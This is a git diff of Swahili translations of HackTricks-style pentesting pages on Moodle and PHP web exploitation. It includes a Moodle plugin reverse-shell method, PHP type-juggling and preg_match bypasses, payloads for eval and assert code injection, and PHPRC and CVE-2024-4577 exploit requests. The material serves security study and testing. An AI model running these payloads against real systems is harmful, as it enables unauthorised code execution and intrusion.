Hata hivyo, watu wengine watachukua **thamani za msingi** za vigezo hivi na watatumia kama **cookie barua pepe ya mtumiaji**. Hivyo, ikiwa unaweza kupata wavuti inayotumia **jukwaa sawa** linalotumia cookie ya ASPXAUTH na **uunde mtumiaji kwa barua pepe ya mtumiaji unayependa kuiga** kwenye seva inayoshambuliwa, unaweza kuwa na uwezo wa **kutumia cookie kutoka seva ya pili kwenye ya kwanza** na kuiga mtumiaji.\
|
||||
Shambulio hili lilifanya kazi katika [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||||
|
||||
## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
||||
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Kosa katika msimbo **halikupitia ipasavyo nenosiri lililotolewa na mtumiaji**, hivyo mshambuliaji ambaye **nenosiri lake la hash linagonga ufunguo** ambao tayari uko kwenye **cache** ataweza kuingia kama mtumiaji huyo.
|
||||
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Kosa katika msimbo **halikupitia ipasavyo nenosiri lililotolewa na mtumiaji**, hivyo mshambuliaji ambaye **hash ya nenosiri lake inagonga ufunguo** ambao tayari uko kwenye **cache** ataweza kuingia kama mtumiaji huyo.
|
||||
```python
|
||||
# script for sanity check
|
||||
> type test.py
|
||||
|
@ -2,8 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Skana za Otomatiki
|
||||
## Skana za Kiotomatiki
|
||||
|
||||
### droopescan
|
||||
```bash
|
||||
@ -71,11 +70,13 @@ Unahitaji kuwa na **meneja** nafasi na unaweza **kusanidi plugins** ndani ya **"
|
||||
|
||||
.png>)
|
||||
|
||||
Ikiwa wewe ni meneja huenda bado ukahitaji **kuamsha chaguo hili**. Unaweza kuona jinsi katika moodle privilege escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
|
||||
Ikiwa wewe ni meneja unaweza bado kuhitaji **kuamsha chaguo hili**. Unaweza kuona jinsi katika moodle privilege escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
|
||||
|
||||
Kisha, unaweza **kusanidi plugin ifuatayo** ambayo ina classic pentest-monkey php r**ev shell** (_kabla ya kuipakia unahitaji kuifungua, kubadilisha IP na bandari ya revshell na kuikandamiza tena_)
|
||||
|
||||
{% file src="../../images/moodle-rce-plugin.zip" %}
|
||||
{{#file}}
|
||||
moodle-rce-plugin.zip
|
||||
{{#endfile}}
|
||||
|
||||
Au unaweza kutumia plugin kutoka [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) kupata shell ya kawaida ya PHP na parameter "cmd".
|
||||
|
||||
@ -85,7 +86,7 @@ http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
|
||||
```
|
||||
## POST
|
||||
|
||||
### Pata sifa za database
|
||||
### Pata akreditif za database
|
||||
```bash
|
||||
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
|
||||
```
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Mahali ya kawaida ya Cookies:
|
||||
|
||||
Hii pia inatumika kwa cookies za phpMyAdmin.
|
||||
@ -12,7 +11,7 @@ Cookies:
|
||||
PHPSESSID
|
||||
phpMyAdmin
|
||||
```
|
||||
Mikoa:
|
||||
Mahali:
|
||||
```
|
||||
/var/lib/php/sessions
|
||||
/var/lib/php5/
|
||||
@ -21,7 +20,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
||||
```
|
||||
## Kupita Mifano ya PHP
|
||||
|
||||
### Mifano ya Kijumla/Kucheza na Aina ( == )
|
||||
### Mifano ya Kijumla/Type Juggling ( == )
|
||||
|
||||
Ikiwa `==` inatumika katika PHP, basi kuna kesi zisizotarajiwa ambapo mifano haiwezi kutenda kama inavyotarajiwa. Hii ni kwa sababu "==" inalinganisha tu thamani zilizobadilishwa kuwa aina sawa, ikiwa unataka pia kulinganisha kwamba aina ya data inayolinganishwa ni sawa unahitaji kutumia `===`.
|
||||
|
||||
@ -29,20 +28,22 @@ Mifano ya kulinganisha ya PHP: [https://www.php.net/manual/en/types.comparisons.
|
||||
|
||||
.png>)
|
||||
|
||||
{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
{{#file}}
|
||||
EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
- `"string" == 0 -> True` Mstari ambao hauanzishi na nambari ni sawa na nambari
|
||||
- `"0xAAAA" == "43690" -> True` Mifano iliyo na nambari katika muundo wa dec au hex inaweza kulinganishwa na nambari/mifano nyingine na True kama matokeo ikiwa nambari zilikuwa sawa (nambari katika mstari zinatafsiriwa kama nambari)
|
||||
- `"0e3264578" == 0 --> True` Mstari unaoanza na "0e" na kufuatwa na chochote utakuwa sawa na 0
|
||||
- `"0X3264578" == 0X --> True` Mstari unaoanza na "0" na kufuatwa na herufi yoyote (X inaweza kuwa herufi yoyote) na kufuatwa na chochote utakuwa sawa na 0
|
||||
- `"0e12334" == "0" --> True` Hii ni ya kuvutia sana kwa sababu katika baadhi ya kesi unaweza kudhibiti ingizo la mstari la "0" na maudhui fulani yanayohesabiwa na kulinganishwa nayo. Hivyo, ikiwa unaweza kutoa thamani itakayounda hash inayooanza na "0e" na bila herufi yoyote, unaweza kupita kulinganisha. Unaweza kupata **mifano iliyohesabiwa tayari** na muundo huu hapa: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"0xAAAA" == "43690" -> True` Mstari ulio na nambari katika muundo wa dec au hex unaweza kulinganishwa na nambari/mistari mingine na True kama matokeo ikiwa nambari zilikuwa sawa (nambari katika mstari zinatafsiriwa kama nambari)
|
||||
- `"0e3264578" == 0 --> True` Mstari unaoanza na "0e" na kufuatwa na chochote kitakuwa sawa na 0
|
||||
- `"0X3264578" == 0X --> True` Mstari unaoanza na "0" na kufuatwa na herufi yoyote (X inaweza kuwa herufi yoyote) na kufuatwa na chochote kitakuwa sawa na 0
|
||||
- `"0e12334" == "0" --> True` Hii ni ya kuvutia sana kwa sababu katika baadhi ya kesi unaweza kudhibiti ingizo la mstari la "0" na maudhui fulani yanayohesabiwa na kulinganishwa nayo. Hivyo, ikiwa unaweza kutoa thamani itakayounda hash inayooanza na "0e" na bila herufi yoyote, unaweza kupita kulinganisha. Unaweza kupata **mistari iliyohesabiwa tayari** kwa muundo huu hapa: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"X" == 0 --> True` Herufi yoyote katika mstari ni sawa na int 0
|
||||
|
||||
Maelezo zaidi katika [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
||||
### **in_array()**
|
||||
|
||||
**Kucheza na Aina** pia inaathiri kazi ya `in_array()` kwa kawaida (unahitaji kuweka kuwa kweli hoja ya tatu ili kufanya kulinganisha kwa ukali):
|
||||
**Type Juggling** pia inaathiri kazi ya `in_array()` kwa kawaida (unahitaji kuweka kuwa kweli hoja ya tatu ili kufanya kulinganisha kwa ukali):
|
||||
```php
|
||||
$values = array("apple","orange","pear","grape");
|
||||
var_dump(in_array(0, $values));
|
||||
@ -61,19 +62,19 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
||||
```
|
||||
Kosa hiyo hiyo inatokea na `strcasecmp()`
|
||||
|
||||
### Ujanja wa Aina Mkali
|
||||
### Ujanja wa Aina Kali
|
||||
|
||||
Hata kama `===` inatumika kunaweza kuwa na makosa ambayo yanafanya **kulinganisha kuwa hatarini** kwa **ujanja wa aina**. Kwa mfano, ikiwa kulinganisha kuna **kubadilisha data kuwa aina tofauti ya kitu kabla ya kulinganisha**:
|
||||
Hata kama `===` inatumika, kunaweza kuwa na makosa ambayo yanafanya **kulinganisha kuwa hatarini** kwa **ujanja wa aina**. Kwa mfano, ikiwa kulinganisha kuna **kubadilisha data kuwa aina tofauti ya kitu kabla ya kulinganisha**:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
### preg_match(/^.\*/)
|
||||
|
||||
**`preg_match()`** inaweza kutumika ku **thibitisha pembejeo za mtumiaji** (ina **angalia** kama neno lolote/regex kutoka kwa **orodha ya madoa** lina **patikana** kwenye **pemebeo za mtumiaji** na ikiwa halipo, msimbo unaweza kuendelea na utekelezaji wake).
|
||||
**`preg_match()`** inaweza kutumika ku **thibitisha pembejeo za mtumiaji** (ina **angalia** kama neno/regex lolote kutoka kwenye **blacklist** lina **patikana** kwenye **pemebezo za mtumiaji** na ikiwa halipo, msimbo unaweza kuendelea na utekelezaji wake).
|
||||
|
||||
#### New line bypass
|
||||
|
||||
Hata hivyo, wakati wa kuweka mipaka ya mwanzo wa regexp`preg_match()` **inaangalia tu mstari wa kwanza wa pembejeo za mtumiaji**, kisha ikiwa kwa namna fulani unaweza **kutuma** pembejeo katika **mistari kadhaa**, unaweza kuwa na uwezo wa kupita ukaguzi huu. Mfano:
|
||||
Hata hivyo, wakati wa kuweka mwanzo wa regexp `preg_match()` **inaangalia tu mstari wa kwanza wa pembejeo za mtumiaji**, kisha ikiwa kwa namna fulani unaweza **kutuma** pembejeo katika **mistari kadhaa**, unaweza kuwa na uwezo wa kupita ukaguzi huu. Mfano:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
@ -86,7 +87,7 @@ echo preg_match("/^.*1/",$myinput);
|
||||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
Ili kupita ukaguzi huu unaweza **kutuma thamani yenye mistari mipya iliyopangwa kwa url** (`%0A`) au ikiwa unaweza kutuma **data za JSON**, zitume katika **mistari kadhaa**:
|
||||
Ili kupita ukaguzi huu unaweza **kutuma thamani yenye mistari mipya iliyopangwa** (`%0A`) au ikiwa unaweza kutuma **data ya JSON**, itume katika **mistari kadhaa**:
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
@ -97,7 +98,7 @@ Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ram
|
||||
#### **Length error bypass**
|
||||
|
||||
(Hii bypass ilijaribiwa waziwazi kwenye PHP 5.2.5 na sikuweza kuifanya ifanye kazi kwenye PHP 7.3.15)\
|
||||
Ikiwa unaweza kutuma kwa `preg_match()` ingizo halali kubwa sana, **haitaweza kulipokea** na utaweza **kuepuka** ukaguzi. Kwa mfano, ikiwa inakataza JSON unaweza kutuma:
|
||||
Ikiwa unaweza kutuma kwa `preg_match()` ingizo halali kubwa sana, **haitaweza kulipitia** na utaweza **kuepuka** ukaguzi. Kwa mfano, ikiwa inakataza JSON unaweza kutuma:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
@ -105,16 +106,16 @@ From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challen
|
||||
|
||||
#### ReDoS Bypass
|
||||
|
||||
Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) and [https://mizu.re/post/pong](https://mizu.re/post/pong)
|
||||
Trick kutoka: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) na [https://mizu.re/post/pong](https://mizu.re/post/pong)
|
||||
|
||||
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kwa kifupi, tatizo linatokea kwa sababu ya `preg_*` functions katika PHP zinategemea [PCRE library](http://www.pcre.org/). Katika PCRE, baadhi ya regular expressions zinapatikana kwa kutumia wito mwingi wa recursive, ambayo inatumia nafasi kubwa ya stack. Inawezekana kuweka kikomo kwenye idadi ya recursions zinazoruhusiwa, lakini katika PHP kikomo hiki [kimewekwa kuwa 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ambacho ni zaidi ya kinachoweza kuwekwa kwenye stack.
|
||||
Kwa kifupi, tatizo linatokea kwa sababu ya `preg_*` functions katika PHP zinategemea [PCRE library](http://www.pcre.org/). Katika PCRE, baadhi ya regular expressions zinapatikana kwa kutumia wito mwingi wa recursive, ambayo inatumia nafasi kubwa ya stack. Inawezekana kuweka kikomo kwenye idadi ya recursions zinazoruhusiwa, lakini katika PHP kikomo hiki [kinarudi kwa 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ambacho ni zaidi ya kinachoweza kuwekwa kwenye stack.
|
||||
|
||||
[Hii Stackoverflow thread](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) pia ilihusishwa katika chapisho ambapo inazungumziwa kwa undani zaidi kuhusu tatizo hili. Kazi yetu sasa ilikuwa wazi:\
|
||||
**Tuma input ambayo itafanya regex ifanye 100_000+ recursions, ikisababisha SIGSEGV, na kufanya `preg_match()` function irejelee `false` hivyo kufanya programu ifikirie kuwa input yetu si ya uhalifu, ikitupa mshangao mwishoni mwa payload kama `{system(<verybadcommand>)}` ili kupata SSTI --> RCE --> flag :)**.
|
||||
[Thread hii ya Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) pia ilihusishwa katika chapisho ambapo inazungumziwa kwa undani zaidi kuhusu tatizo hili. Kazi yetu sasa ilikuwa wazi:\
|
||||
**Tuma input ambayo itafanya regex ifanye 100_000+ recursions, ikisababisha SIGSEGV, na kufanya `preg_match()` function irudishe `false` hivyo kufanya programu ifikirie kwamba input yetu si mbaya, ikitupa mshangao mwishoni mwa payload kama `{system(<verybadcommand>)}` ili kupata SSTI --> RCE --> flag :)**.
|
||||
|
||||
Vizuri, katika maneno ya regex, hatufanyi 100k "recursions", bali tunahesabu "backtracking steps", ambayo kama [PHP documentation](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) inavyosema, inarudi kwa 1_000_000 (1M) katika variable `pcre.backtrack_limit`.\
|
||||
Vizuri, katika maneno ya regex, hatufanyi kweli 100k "recursions", bali tunahesabu "backtracking steps", ambayo kama [nyaraka za PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) zinavyosema inarudi kwa 1_000_000 (1M) katika variable `pcre.backtrack_limit`.\
|
||||
Ili kufikia hiyo, `'X'*500_001` itasababisha hatua milioni moja za backtracking (500k mbele na 500k nyuma):
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
@ -132,7 +133,7 @@ $obfs += ""; //int 7
|
||||
```
|
||||
## Execute After Redirect (EAR)
|
||||
|
||||
Ikiwa PHP inarejelea kwenye ukurasa mwingine lakini hakuna **`die`** au **`exit`** kazi inayopigwa **baada ya kichwa `Location`** kuwekwa, PHP inaendelea kutekeleza na kuongezea data kwenye mwili:
|
||||
Ikiwa PHP inarejelea kwenye ukurasa mwingine lakini hakuna **`die`** au **`exit`** kazi inayofanywa **baada ya kichwa `Location`** kuwekwa, PHP inaendelea kutekeleza na kuongezea data kwenye mwili:
|
||||
```php
|
||||
<?php
|
||||
// In this page the page will be read and the content appended to the body of
|
||||
@ -152,7 +153,7 @@ Check:
|
||||
|
||||
## More tricks
|
||||
|
||||
- **register_globals**: Katika **PHP < 4.1.1.1** au ikiwa imewekwa vibaya, **register_globals** inaweza kuwa hai (au tabia yao inajirudia). Hii ina maana kwamba katika mabadiliko ya kimataifa kama $\_GET ikiwa yana thamani e.g. $\_GET\["param"]="1234", unaweza kuyafikia kupitia **$param. Hivyo, kwa kutuma vigezo vya HTTP unaweza kuandika upya mabadiliko\*\* yanayotumika ndani ya msimbo.
|
||||
- **register_globals**: Katika **PHP < 4.1.1.1** au ikiwa imewekwa vibaya, **register_globals** inaweza kuwa hai (au tabia yao inajirudia). Hii ina maana kwamba katika mabadiliko ya kimataifa kama $\_GET ikiwa yana thamani mfano $\_GET\["param"]="1234", unaweza kuyafikia kupitia **$param. Hivyo, kwa kutuma vigezo vya HTTP unaweza kuandika upya mabadiliko\*\* yanayotumika ndani ya msimbo.
|
||||
- **Cookies za PHPSESSION za eneo moja zinahifadhiwa mahali pamoja**, hivyo ikiwa ndani ya eneo **cookies tofauti zinatumika katika njia tofauti** unaweza kufanya njia hiyo **ifikie cookie ya njia** kwa kuweka thamani ya cookie ya njia nyingine.\
|
||||
Kwa njia hii ikiwa **njia zote mbili zinapata mabadiliko yenye jina sawa** unaweza kufanya **thamani ya mabadiliko hayo katika path1 itumike kwa path2**. Na kisha path2 itachukulia kama halali mabadiliko ya path1 (kwa kutoa cookie jina linalolingana nayo katika path2).
|
||||
- Unapokuwa na **majina ya watumiaji** wa mashine. Angalia anwani: **/\~\<USERNAME>** ili kuona ikiwa saraka za php zimewezeshwa.
|
||||
@ -160,8 +161,8 @@ Kwa njia hii ikiwa **njia zote mbili zinapata mabadiliko yenye jina sawa** unawe
|
||||
|
||||
### password_hash/password_verify
|
||||
|
||||
Hizi kazi kawaida hutumiwa katika PHP ili **kuunda hash kutoka kwa nywila** na **kuangalia** ikiwa nywila ni sahihi ikilinganishwa na hash.\
|
||||
Mifumo inayoungwa mkono ni: `PASSWORD_DEFAULT` na `PASSWORD_BCRYPT` (inaanza na `$2y$`). Kumbuka kwamba **PASSWORD_DEFAULT mara nyingi ni sawa na PASSWORD_BCRYPT.** Na kwa sasa, **PASSWORD_BCRYPT** ina **kikomo cha ukubwa katika ingizo cha 72bytes**. Hivyo, unapojaribu kuunda hash ya kitu kikubwa kuliko 72bytes kwa kutumia algorithimu hii, ni kwamba 72B za kwanza tu zitatumika:
|
||||
Hizi kazi hutumiwa kawaida katika PHP ili **kuunda hash kutoka kwa nywila** na **kuangalia** ikiwa nywila ni sahihi ikilinganishwa na hash.\
|
||||
Mifumo inayoungwa mkono ni: `PASSWORD_DEFAULT` na `PASSWORD_BCRYPT` (inaanza na `$2y$`). Kumbuka kwamba **PASSWORD_DEFAULT mara nyingi ni sawa na PASSWORD_BCRYPT.** Na kwa sasa, **PASSWORD_BCRYPT** ina **kikomo cha ukubwa katika ingizo cha 72bytes**. Hivyo, unapojaribu kuunda hash ya kitu kikubwa kuliko 72bytes kwa kutumia algorithimu hii, ni kwamba tu 72B za kwanza zitatumika:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
@ -183,8 +184,8 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
||||
```
|
||||
#### Kujaza mwili kabla ya kuweka vichwa
|
||||
|
||||
Ikiwa **ukurasa wa PHP unachapisha makosa na kurudisha baadhi ya maoni yaliyotolewa na mtumiaji**, mtumiaji anaweza kufanya seva ya PHP irudishe **maudhui marefu ya kutosha** ili wakati inajaribu **kuongeza vichwa** kwenye jibu seva itatupa makosa.\
|
||||
Katika hali ifuatayo **mshambuliaji alifanya seva itupe makosa makubwa**, na kama unavyoona kwenye skrini wakati php ilijaribu **kubadilisha taarifa za kichwa, haikuweza** (kwa hivyo kwa mfano kichwa cha CSP hakikutumwa kwa mtumiaji):
|
||||
Ikiwa **ukurasa wa PHP unachapisha makosa na kurudisha baadhi ya maoni yaliyotolewa na mtumiaji**, mtumiaji anaweza kufanya seva ya PHP irudishe **maudhui marefu ya kutosha** ili wakati inajaribu **kuongeza vichwa** kwenye jibu, seva itatupa makosa.\
|
||||
Katika hali ifuatayo, **mshambuliaji alifanya seva itupe makosa makubwa**, na kama unavyoona kwenye skrini wakati php ilijaribu **kubadilisha taarifa za kichwa, haikuweza** (hivyo kwa mfano kichwa cha CSP hakikutumwa kwa mtumiaji):
|
||||
|
||||
.png>)
|
||||
|
||||
@ -209,8 +210,8 @@ php-ssrf.md
|
||||
preg_replace(pattern,replace,base)
|
||||
preg_replace("/a/e","phpinfo()","whatever")
|
||||
```
|
||||
Ili kutekeleza msimbo katika hoja ya "replace" inahitajika angalau mechi moja.\
|
||||
Chaguo hili la preg_replace limekuwa **limeondolewa kuanzia PHP 5.5.0.**
|
||||
Ili kutekeleza msimbo katika "replace" hoja inahitajika angalau mechi moja.\
|
||||
Chaguo hili la preg_replace limekuwa **deprecated kuanzia PHP 5.5.0.**
|
||||
|
||||
### **RCE kupitia Eval()**
|
||||
```
|
||||
@ -222,7 +223,7 @@ Chaguo hili la preg_replace limekuwa **limeondolewa kuanzia PHP 5.5.0.**
|
||||
```
|
||||
### **RCE kupitia Assert()**
|
||||
|
||||
Kazi hii ndani ya php inakuwezesha **kutekeleza msimbo ulioandikwa katika mfuatano** ili **kurudisha kweli au uongo** (na kulingana na hii kubadilisha utekelezaji). Kawaida, kigezo cha mtumiaji kitaingizwa katikati ya mfuatano. Kwa mfano:\
|
||||
Hii kazi ndani ya php inakuwezesha **kutekeleza msimbo ulioandikwa katika mfuatano** ili **kurudisha kweli au uongo** (na kulingana na hii kubadilisha utekelezaji). Kawaida, kigezo cha mtumiaji kitaingizwa katikati ya mfuatano. Kwa mfano:\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> Katika kesi hii ili kupata **RCE** unaweza kufanya:
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
@ -256,9 +257,9 @@ function foo($x,$y){
|
||||
usort();}phpinfo;#, "cmp");
|
||||
}?>
|
||||
```
|
||||
You can also use **//** kuandika maoni ya sehemu nyingine ya msimbo.
|
||||
You can also use **//** to comment the rest of the code.
|
||||
|
||||
Ili kugundua idadi ya mabano unayohitaji kufunga:
|
||||
To discover the number of parenthesis that you need to close:
|
||||
|
||||
- `?order=id;}//`: tunapata ujumbe wa kosa (`Parse error: syntax error, unexpected ';'`). Huenda tunakosa moja au zaidi ya mabano.
|
||||
- `?order=id);}//`: tunapata **onyo**. Hii inaonekana kuwa sawa.
|
||||
@ -266,7 +267,7 @@ Ili kugundua idadi ya mabano unayohitaji kufunga:
|
||||
|
||||
### **RCE kupitia .httaccess**
|
||||
|
||||
Ikiwa unaweza **kupakia** **.htaccess**, basi unaweza **kuweka** mambo kadhaa na hata kutekeleza msimbo (kuweka kwamba faili zenye kiambishi .htaccess zinaweza **kutekelezwa**).
|
||||
Ikiwa unaweza **kupakia** **.htaccess**, basi unaweza **kuunda** mambo kadhaa na hata kutekeleza msimbo (kuunda kwamba faili zenye kiambishi .htaccess zinaweza **kutekelezwa**).
|
||||
|
||||
Mifumo tofauti ya .htaccess inaweza kupatikana [hapa](https://github.com/wireghoul/htshells)
|
||||
|
||||
@ -274,16 +275,16 @@ Mifumo tofauti ya .htaccess inaweza kupatikana [hapa](https://github.com/wiregho
|
||||
|
||||
Ikiwa unapata udhaifu unaokuruhusu **kubadilisha env variables katika PHP** (na nyingine moja ya kupakia faili, ingawa kwa utafiti zaidi huenda hii ikapita), unaweza kutumia tabia hii kupata **RCE**.
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Hii env variable inaruhusu kupakia maktaba za kiholela unapotekeleza binaries nyingine (ingawa katika kesi hii huenda isifanye kazi).
|
||||
- **`PHPRC`** : Inamuru PHP **wapi kupatikana faili yake ya usanidi**, ambayo kwa kawaida inaitwa `php.ini`. Ikiwa unaweza kupakia faili yako ya usanidi, basi, tumia `PHPRC` kuonyesha PHP kwa hiyo. Ongeza **`auto_prepend_file`** kuingia ikielekeza faili ya pili iliyopakiwa. Faili hii ya pili ina msimbo wa kawaida wa **PHP, ambao kisha unatekelezwa** na PHP runtime kabla ya msimbo mwingine wowote.
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Hii env variable inaruhusu kupakia maktaba zisizo za kawaida unapotekeleza binaries nyingine (ingawa katika kesi hii huenda isifanye kazi).
|
||||
- **`PHPRC`** : Inatoa maagizo kwa PHP kuhusu **mahali pa kupata faili yake ya usanidi**, ambayo kwa kawaida inaitwa `php.ini`. Ikiwa unaweza kupakia faili yako ya usanidi, basi, tumia `PHPRC` kuonyesha PHP kwa hiyo. Ongeza **`auto_prepend_file`** kuingia ikielekeza faili ya pili iliyopakiwa. Faili hii ya pili ina **msimbo wa kawaida wa PHP, ambao kisha unatekelezwa** na PHP runtime kabla ya msimbo mwingine wowote.
|
||||
1. Pakia faili ya PHP yenye shellcode yetu
|
||||
2. Pakia faili ya pili, yenye **`auto_prepend_file`** kuagiza preprocessor ya PHP kutekeleza faili tuliyopakia katika hatua ya 1
|
||||
3. Weka variable `PHPRC` kwa faili tuliyopakia katika hatua ya 2.
|
||||
- Pata maelezo zaidi juu ya jinsi ya kutekeleza mnyororo huu [**kutoka kwa ripoti ya asili**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
2. Pakia faili ya pili, yenye **`auto_prepend_file`** maagizo ikielekeza preprocessor ya PHP kutekeleza faili tuliyopakia katika hatua ya 1
|
||||
3. Weka variable ya `PHPRC` kwa faili tuliyopakia katika hatua ya 2.
|
||||
- Pata maelezo zaidi kuhusu jinsi ya kutekeleza mnyororo huu [**kutoka kwa ripoti ya asili**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
- **PHPRC** - chaguo jingine
|
||||
- Ikiwa **huwezi kupakia faili**, unaweza kutumia katika FreeBSD "faili" `/dev/fd/0` ambayo ina **`stdin`**, ikiwa ni **mwili** wa ombi lililotumwa kwa `stdin`:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
- Au ili kupata RCE, wezesha **`allow_url_include`** na uongeze faili yenye **base64 PHP code**:
|
||||
- Au ili kupata RCE, wezesha **`allow_url_include`** na uongeze faili yenye **msimbo wa PHP wa base64**:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
- Mbinu [**kutoka ripoti hii**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
||||
|
||||
@ -293,7 +294,7 @@ Webserver inachambua maombi ya HTTP na kuyapeleka kwa script ya PHP inayotekelez
|
||||
```jsx
|
||||
-d allow_url_include=1 -d auto_prepend_file=php://input
|
||||
```
|
||||
Zaidi ya hayo, inawezekana kuingiza param "- " kwa kutumia herufi 0xAD kutokana na urekebishaji wa PHP baadaye. Angalia mfano wa exploit kutoka [**hiki chapisho**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
|
||||
Zaidi ya hayo, inawezekana kuingiza param "- " kwa kutumia herufi 0xAD kutokana na urekebishaji wa baadaye wa PHP. Angalia mfano wa exploit kutoka [**hiki chapisho**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
|
||||
```jsx
|
||||
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
|
||||
Host: {{host}}
|
||||
@ -311,7 +312,7 @@ phpinfo();
|
||||
## PHP Sanitization bypass & Brain Fuck
|
||||
|
||||
[**Katika chapisho hili**](https://blog.redteam-pentesting.de/2024/moodle-rce/) inawezekana kupata mawazo mazuri ya kuunda msimbo wa brain fuck PHP kwa herufi chache sana zinazoruhusiwa.\
|
||||
Zaidi ya hayo, pia inashauriwa njia ya kuvutia ya kutekeleza kazi ambazo ziliwaruhusu kupita ukaguzi kadhaa:
|
||||
Zaidi ya hayo, pia inashauriwa njia ya kuvutia ya kutekeleza kazi ambazo ziliruhusu kupita ukaguzi kadhaa:
|
||||
```php
|
||||
(1)->{system($_GET[chr(97)])}
|
||||
```
|
||||
@ -349,7 +350,7 @@ echo "${Da}"; //Drums
|
||||
echo "$x ${$x}"; //Da Drums
|
||||
echo "$x ${Da}"; //Da Drums
|
||||
```
|
||||
## RCE ikitumia mpya $\_GET\["a"]\($\_GET\["b")
|
||||
## RCE ikitumia mpya $\_GET\["a"]\($\_GET\["b"])
|
||||
|
||||
Ikiwa katika ukurasa unaweza **kuunda kitu kipya cha darasa lolote** unaweza kuwa na uwezo wa kupata RCE, angalia ukurasa ufuatao kujifunza jinsi:
|
||||
|
||||
@ -357,7 +358,7 @@ Ikiwa katika ukurasa unaweza **kuunda kitu kipya cha darasa lolote** unaweza kuw
|
||||
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
|
||||
{{#endref}}
|
||||
|
||||
## Tekeleza PHP bila herufi
|
||||
## Teua PHP bila herufi
|
||||
|
||||
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
|
||||
|
||||
@ -374,7 +375,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
||||
```
|
||||
### XOR rahisi shell code
|
||||
|
||||
Kulingana na [**hii andiko** ](https://mgp25.com/ctf/Web-challenge/)ifuatayo inawezekana kuzalisha shellcode rahisi kwa njia hii:
